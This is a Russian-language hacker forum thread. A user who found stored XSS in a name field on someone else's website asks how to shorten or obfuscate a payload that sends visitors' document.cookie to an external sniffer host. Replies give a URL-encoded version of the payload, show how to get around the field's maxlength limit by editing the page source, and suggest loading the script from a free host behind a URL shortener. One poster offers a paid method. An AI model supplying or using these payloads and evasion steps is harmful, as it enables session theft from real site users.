 |
|
29.11.2011, 12:54
|
|
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами:
8155766
Репутация:
2
|
|
Всем привет , у меня такой необычный вопрос , на одном сайте я нашел
уязвимость , допустим я вставляю
Сообщение от None
">alert('xss')
в поля (Имя)
Все проходит успешно и при заходе на данный профиль мне пишет что уязвимость есть , теперь я хочу вставить следующий скрипт
Сообщение от None
[COLOR="Red"]img = new Image(); img.src = "http://sniffer.site.ru/blablabls.gif?"+document.cookie;
Но дело в том что при вставки данного xss в этом поле она не сохраняется , а причина тому слишком много символов , как я выяснил .
Собственно вопрос : Как можно сделать короче (сократить, уменьшить )
Сообщение от None
img = new Image(); img.src = "http://sniffer.xaknet.ru/smiles/img__1010.gif?"+document.cookie;
или зашифровать , но чтобы смысл данного скрипта оставался одним и тем же?
Спасибо за внимание . |
|
|
29.11.2011, 13:24
|
|
Познающий
Регистрация: 03.11.2011
Сообщений: 83
С нами:
7644566
Репутация:
11
|
|
Спрятать можно:
Код HTML:
%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%73%6E%69%66%66%65%72%2E%78%61%6B%6E%65%74%2E%72%75%2F%73%6D%69%6C%65%73%2F%69%6D%67%5F%5F%31%30%31%30%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E
Убери блокнотом(ctrl+h) все пробелы и в дело! |
|
|
|
29.11.2011, 13:33
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
С нами:
9288386
Репутация:
536
|
|
возможно можно и без (type="text/javascript") не помню точно...
а в твой_скрипт.js пиши что надо, ну типа
Сообщение от None
img = new Image(); img.src = "http://sniffer.xaknet.ru/smiles/img__1010.gif?"+document.cookie;
|
|
|
|
29.11.2011, 13:48
|
|
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами:
8155766
Репутация:
2
|
|
Не помогло. Мне нужно так чтобы за это  поле , скрипт не вылазил. |
|
|
|
29.11.2011, 14:08
|
|
Познающий
Регистрация: 03.11.2011
Сообщений: 83
С нами:
7644566
Репутация:
11
|
|
URL в студио вида si[это не я]te.ru/script.php?vuln_param=">alert('xss')
|
|
|
|
29.11.2011, 15:33
|
|
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами:
8155766
Репутация:
2
|
|
Сообщение от tabletkO
URL в студио вида si[это не я]te.ru/script.php?vuln_param=">alert('xss')
Я тебя не понял
|
|
|
|
29.11.2011, 15:34
|
|
Познающий
Регистрация: 03.11.2011
Сообщений: 83
С нами:
7644566
Репутация:
11
|
|
Короче адрес уязвимого сайта давай =)
TC скинул адрес, но ничего не написал, где уязвимость
|
|
|
|
29.11.2011, 16:45
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от Groove
Я тебя не понял
Руководство по пунктам.
1) открываем Opera (именно оперу и никакой другой !!!) и переходим на выбранный сайт
2) Жмём Правой кнопкой - Исходный код страницы
3) Ищем нашу строку с вводом строки и меняем её длину
maxlength="13" на maxlength="1300" к примеру
4) Не выходя из редактирования исходного кода идёшь в левый верхний угол и ищешь там "Применить изменения", что собсно и жмёшь
5) Переходишь на вкладку с сайтом и вбиваешь всю стоку полностью, без предыдущего ограничения.
Если фильтра в php-коде нет, тебя пропустит
|
|
|
|
29.11.2011, 23:13
|
|
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами:
8155766
Репутация:
2
|
|
Сообщение от BigBear
Руководство по пунктам.
1) открываем Opera (именно оперу и никакой другой !!!) и переходим на выбранный сайт
2) Жмём Правой кнопкой - Исходный код страницы
3) Ищем нашу строку с вводом строки и меняем её длину
maxlength="13" на maxlength="1300" к примеру
4) Не выходя из редактирования исходного кода идёшь в левый верхний угол и ищешь там "Применить изменения", что собсно и жмёшь
5) Переходишь на вкладку с сайтом и вбиваешь всю стоку полностью, без предыдущего ограничения.
Если фильтра в php-коде нет, тебя пропустит
Большое спасибо , сейчас проверим .
|
|
|
|
29.11.2011, 23:31
|
|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
С нами:
8619861
Репутация:
51
|
|
Если сервер рубит длину, то не поможет. Делается проще пареной репы же:
1) делаем файл 1.js
2) в него пишем img = new Image(); img.src = "http://sniffer.site.ru/blablabls.gif?"+document.cookie;
3) заливаем куда угодно на любой хостинг, например на фрихост какой-нибудь
4) идем на u.to, запихиваем туда ссылку на файл 1.js, получаем что-то типа http://u.to/abc123
5) вставляем на сайте вот такой код:
Если нужно еще меньше, то пишем в асю 352223797 - скажу платное решение.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
